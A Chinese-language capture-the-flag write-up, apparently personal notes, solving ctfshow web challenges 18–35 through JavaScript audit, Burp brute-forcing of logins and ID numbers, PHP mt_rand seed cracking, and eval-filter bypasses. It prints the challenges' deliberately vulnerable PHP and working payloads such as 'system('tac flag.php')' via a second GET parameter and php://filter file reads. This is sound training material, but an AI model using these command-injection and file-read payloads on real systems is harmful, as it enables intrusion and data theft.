/dump.sql.zip
  1. 开发临时备份
/db.sql.tmp
/~database.sql
/.sql_backup.swp

33 web18

🚩 flag:ctfshow{9630ff84-7f6e-4bb9-b922-131c5965bd20}

💡 hint: js代码审计

题目信息:不要着急,休息,休息一会儿,玩101分给你flag

查看js文件:

![截屏2025-08-08 16.34.14](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 16.34.14.png)

找到那一串unicode,在console中执行alert("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b")进行解码。输出是这样的:

![截屏2025-08-08 16.40.08](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 16.40.08.png)

url/110.php,得到flag。


34 web19

🚩 flag:ctfshow{2dfd99a3-d6d1-4b61-80cf-e10cda85a673}

💡 hint: 密码口令泄漏 post重放

题目信息:密钥什么的,就不要放在前端了

根据题目提示,检查页面源代码。

![截屏2025-08-08 16.44.57](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 16.44.57.png)

用户名以及加密后的密码写在注释里面了,使用post进行提交。

直接在bp中编辑post。

![截屏2025-08-08 16.52.55](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 16.52.55.png)

通过,得到flag。


35 web20

🚩 flag:flag{ctfshow_old_database}

💡 hint: 数据库源码泄漏

题目信息:mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件

使用cyberchef提取strings,然后搜索flag:

flag{ctfshow_old_database}


36 web21

🚩 flag:ctfshow{0df31ed9-c8ea-492f-9e05-a517f03177d3}

💡 hint: 暴力破解 tomcat 认证爆破之custom iterator

题目信息:爆破什么的,都是基操

抓包之后,像这样配置burpsuite。

![截屏2025-08-08 17.50.08](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 17.50.08.png)

然后在options界面,减少等待,并且添加flag格式。

![截屏2025-08-08 17.53.41](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 17.53.41.png)

其他的不需要再设置了。

然后开始爆破。

找到返回值为200的,查看respond:

ctfshow{0df31ed9-c8ea-492f-9e05-a517f03177d3}

![截屏2025-08-08 18.02.09](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 18.02.09.png)


37 web22

🚩 flag:flag{ctf_show_web}

💡 hint: 暴力破解 域名爆破

域名暴力破解在线工具:http://phpinfo.me/domain/


38 web23

🚩 flag:ctfshow{a337ed0c-6554-43fa-b413-da4997737dd6}

💡 hint: 暴力破解 代码审计

题目信息:还爆破?这么多代码,告辞!

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

直接写python脚本跑:

找到一个满足条件的即可,这里取数字解,1~10000先爆破。

找到一个422。

![截屏2025-08-08 18.47.04](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 18.47.04.png)

使用?token=422得到ctfshow{a337ed0c-6554-43fa-b413-da4997737dd6}


39 web24

🚩 flag:ctfshow{ead0af30-2c95-4654-9d2e-9d55a44f81cf}

💡 hint: 暴力破解 代码审计

题目信息:爆个🔨

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

?> Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023

运行代码即可:

<?php
mt_srand(372619038);
echo intval(mt_rand());
?>

得到:1155388967

提交,得到flag。


40 web25

🚩 flag:ctfshow{219cec6c-855e-4831-baf4-eae3fcc0a267}

💡 hint: 暴力破解 代码审计

题目信息:爆个🔨,不爆了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023

代码分析:

if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8))); // 种子基于flag的MD5前8位
$rand = intval($r)-intval(mt_rand());
if((!$rand)){ // 要求$r等于第一个随机数
if($_COOKIE['token']==(mt_rand()+mt_rand())){ // token等于接下来两个随机数之和
echo $flag;
}
}
}

首先,取r=0,得到第一个随机数。输出-1182775281,故第一个随机数为1182775281

得到这个随机数之后,还需要一个名为token的cookie。

这里需要使用接下来的两个随机数。

./php_mt_seed 1182775281

![截屏2025-08-08 21.14.23](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 21.14.23.png)

使用随机数4079228096进行计算。

<?php
mt_srand(4079228096); // 此处的这个数,来自上面PHP 7.1.0+那行

echo 'intval(mt_rand())=';
echo intval(mt_rand());
echo "\n";

$token2 = mt_rand() + mt_rand();
echo 'mt_rand()+mt_rand()=';
echo $token2;
echo "\n";
?>

输出结果为:

intval(mt_rand())=1182775281
mt_rand()+mt_rand()=1300647519

最后,使用cookie:token=1300647519,以及url/?r=1182775281


41 web26

🚩 flag:ctfshow{f5d00fa6-dec2-457d-bc0f-cfef6d347e62}

💡 hint: 暴力破解 代码审计

题目信息:这个可以爆

进入到登录页面,直接抓包,不填写任何信息,提交,即可看到flag。

![截屏2025-08-08 21.21.21](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 21.21.21.png)


42 web27

🚩 flag:ctfshow{9629ab21-c625-4c54-9d51-84d925141c19}

💡 hint: 暴力破解

题目信息:CTFshow菜鸡学院招生啦!

先研究这个页面,尝试尽可能多的获取有用信息。

这里获取到CTFshow菜鸡学院录取名单,以及一个学院录取查询页面。

录取名单信息如下:

CTFshow菜鸡学院录取名单
序号 姓名 专业 身份证号码 备注
1 高先伊 WEB 621022********5237
2 嵇开梦 MISC 360730********7653 党员
3 郎康焕 RE 522601********8092
4 元羿谆 PWN 451023********3419 生源地贷款
5 祁落兴 CRYPTO 410927********5570

没有中间八位数字(出生年月日)。这里还是使用burpsuite进行爆破。

![截屏2025-08-08 21.42.33](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 21.42.33.png)

![截屏2025-08-08 21.42.55](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 21.42.55.png)

开始攻击:

按照长度排序,找到正确的结果:621022199002015237

![截屏2025-08-08 21.43.33](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 21.43.33.png)

使用该姓名和身份证号登录:

获得弹窗信息:

恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码

学号:02015237

身份证号:621022199002015237

恭喜您,登陆成功!ctfshow{9629ab21-c625-4c54-9d51-84d925141c19}


43 web28

🚩 flag:ctfshow{ced204ff-9771-4f72-b917-e6243ebdccc5}

💡 hint: 暴力破解 目录爆破

题目信息:大海捞针

看看url, 输入/0/0,/0/1发现都是403,不给访问。那么就知道让你爆破目录了,那么大概的范围呢?

10* 10太小,估计就是100* 100了

这里还是使用burp suite,注意使用的攻击类型。

![截屏2025-08-08 22.00.23](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 22.00.23.png)

![截屏2025-08-08 22.00.08](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 22.00.08.png)

攻击结果:

![截屏2025-08-08 21.59.24](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 21.59.24.png)

访问url/72/20/得到结果。


44 web29

🚩 flag:ctfshow{78cbf3b8-fc58-4787-bdaa-65ae5e18e659}

💡 hint: 代码执行 命令执行

题目信息:命令执行,需要严格的过滤

使用https://5c48eb3b-d7ab-443b-814e-c7d1f00eb6e3.challenge.ctf.show/?c=phpinfo();可以得到phpinfo。

使用https://5c48eb3b-d7ab-443b-814e-c7d1f00eb6e3.challenge.ctf.show/?c=system(%27ls%27);可以得到目录信息。

直接使用url/flag.php,被过滤,无法查看。

这里使用https://5c48eb3b-d7ab-443b-814e-c7d1f00eb6e3.challenge.ctf.show/?c=system(%22cp%20flag.php%201.txt%22);

这里还是被过滤,把上上一步的flag.php换成fla?.php

![截屏2025-08-08 22.13.41](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 22.13.41.png)


45 web30

🚩 flag:ctfshow{b11399b2-1434-46fb-af40-b1805cec3e13}

💡 hint:命令执行

题目信息:命令执行,需要严格的过滤

这个题目过滤的比上一个更多。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
/?c=exec('cp fla* 1.txt');

然后查看url/1.txt


46 web31

🚩 flag:ctfshow{e4e6c9b6-dd77-402e-8118-3f435b3ca95c}

💡 hint:命令执行

题目信息:命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤的信息更多。

空格都过滤了

做题思路就是绕过过滤

嵌套异或逃逸:eval()

&符号 作为连接并且,使用get的1作为一个参数,传给c,再给1一个赋值,这样就可以跳过对c的过滤。

这里1就相当于参数逃逸出去了,不属于c

可以用cat的倒叙tac

/?c=eval($_GET[1]);&1=system('tac flag.php');

会直接将信息显示在页面,不需要查看源代码。


47 web32

🚩 flag:ctfshow{397cb00b-a830-47cb-bcf0-1d8951174547}

💡 hint:命令执行

题目信息:命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了”/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i”

绕过flag 、system、php、cat、sort、shell、. 、空格、’、` 、echo、;、括号

括号也被过滤了,web31的方法行不通

文件包含include()

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

php://filter/convert.base64-encode/resource是过滤器也是伪协议,意思是通过指定的通道来读取某个文件

分析:

?c=include%0a$_GET[1]?>:通过GET请求传递参数”c”,并使用include函数来包含指定的文件。在这个payload中,使用”%0a”来表示换行符”\n”,使得$_GET[1]能够被解析为一个新的变量。最终的目的是执行从GET参数”1”中获取的文件路径。

1=php://filter/convert.base64-encode/resource=flag.php:使用GET请求传递参数”1”,该参数的值为php://filter/convert.base64-encode/resource=flag.php。这是一种特殊的文件包含方式,其中php://filter用于对文件进行过滤和转换,convert.base64-encode表示将文件内容进行Base64编码,而resource=flag.php指定了要读取的文件为flag.php。

二者用&连接,参数”1”可变,前后要一致

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

获得base64编码的信息。

![截屏2025-08-08 22.33.33](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 22.33.33.png)

进行解码:

![截屏2025-08-08 22.33.58](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-08 22.33.58.png)


48 web33

🚩 flag:ctfshow{7e0a9041-46ee-41c3-94f3-34dbdef0c9a5}

💡 hint:命令执行

题目信息:命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

方法同web32:

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

49 web34

🚩 flag:ctfshow{a504f807-c491-4590-86a7-be3114341122}

💡 hint:命令执行

题目信息:命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

方法同web32:

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

50 web35

🚩 flag:ctfshow{5aebff2e-b97f-4472-a05c-046757d28f84}

💡 hint:命令执行

题目信息:命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

方法同web32:

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php